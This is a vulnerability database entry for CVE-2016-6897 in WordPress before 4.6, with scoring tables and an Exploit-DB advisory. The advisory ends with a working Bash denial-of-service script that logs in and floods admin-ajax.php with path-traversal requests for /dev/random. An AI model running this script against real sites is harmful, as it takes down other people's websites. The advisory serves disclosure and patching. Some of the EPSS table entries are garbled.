CVE-2016-6897

Score / Severity

6.5

Medium

CVE Descriptions

Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in WordPress before 4.6 allows remote attackers to hijack the authentication of subscribers for /dev/random read operations by leveraging a late call to the check_ajax_referer function, a related issue to CVE-2016-6896.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-352	Cross-Site Request Forgery (CSRF) The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	6.5	MEDIUM	CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	4.3		AV:N/AC:M/Au:N/C:P/I:N/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	43.77%	–	–
2023-03-12	–	–	–	0.33%	–
2023-03-19	–	–	–	0.33%	–
2023-09-17	–	–	–	0.33%	–
2024-02-04	–	–	–	0.25%	–
2024-02-11	–	–	–	0.25%	–
2024-03-17	–	–	–	0.33%	–
2024-03-24	–	–	–	0.33%	–
2024-06-02	–	–	–	0.33%	–
2024-06-30	–	–	–	0.23%	–
2024-12-22	–	–	–	0.23%	–
2025-02-16	–	–	–	0.23%	–
2025-01-19	–	–	–	0.23%	–
2025-02-16	–	–	–	0.23%	–
2025-03-18	–	–	–	–	30.26%
2025-03-18	–	–	–	–	30.26,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	98%
2023-03-12	66%
2023-03-19	67%
2023-09-17	68%
2024-02-04	63%
2024-02-11	64%
2024-03-17	7%
2024-03-24	71%
2024-06-02	71%
2024-06-30	62%
2024-12-22	61%
2025-02-16	62%
2025-01-19	61%
2025-02-16	62%
2025-03-18	96%
2025-03-18	96%

Exploit information

Exploit Database EDB-ID : 40288

Publication date : 2016-08-21 22h00 +00:00
Author : Yorick Koster
EDB Verified : Yes

Path traversal vulnerability in WordPress Core Ajax handlers Abstract A path traversal vulnerability was found in the Core Ajax handlers of the WordPress Admin API. This issue can (potentially) be used by an authenticated user (Subscriber) to create a denial of service condition of an affected WordPress site. Contact For feedback or questions about this advisory mail us at sumofpwn at securify.nl The Summer of Pwnage This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam. OVE ID OVE-20160712-0036 See also - CVE-2016-6896 - CVE-2016-6897 - #37490 - Improve capability checks in wp_ajax_update_plugin() and wp_ajax_delete_plugin() Tested versions This issue was successfully tested on the WordPress version 4.5.3. Fix WordPress version 4.6 mitigates this vulnerability by moving the CSRF check to the top of the affected method(s). Introduction WordPress is web software that can be used to create a website, blog, or app. A path traversal vulnerability exists in the Core Ajax handlers of the WordPress Admin API. This issue can (potentially) be used by an authenticated user (Subscriber) to create a denial of service condition of an affected WordPress site. Details The path traversal vulnerability exists in the file ajax-actions.php, in particular in the function wp_ajax_update_plugin(). The function first tries to retrieve some version information from the target plugin. After this is done, it checks the user's privileges and it will verify the nonce (to prevent Cross-Site Request Forgery). The code that retrieves the version information from the plugin is vulnerable to path traversal. Since the security checks are done at a later stage, the affected code is reachable by any logged on user, including Subscribers. Potentially this issue can be used to disclose information, provided that the target file contains a line with Version:. What is more important that it also allows for a denial of service condition as the logged in attacker can use this flaw to read up to 8 KB of data from /dev/random. Doing this repeatedly will deplete the entropy pool, which causes /dev/random to block; blocking the PHP scripts. Using a very simple script, it is possible for an authenticated user (Subscriber) to bring down a WordPress site. It is also possible to trigger this issue via Cross-Site Request Forgery as the nonce check is done too late in this case. Proof of concept The following Bash script can be used to trigger the denial of service condition. #!/bin/bash target="http://<target>" username="subscriber" password="password" cookiejar=$(mktemp) # login curl --cookie-jar "$cookiejar" \ --data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \ "$target/wp-login.php" \ >/dev/null 2>&1 # exhaust apache for i in `seq 1 1000` do curl --cookie "$cookiejar" \ --data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \ "$target/wp-admin/admin-ajax.php" \ >/dev/null 2>&1 & done rm "$cookiejar"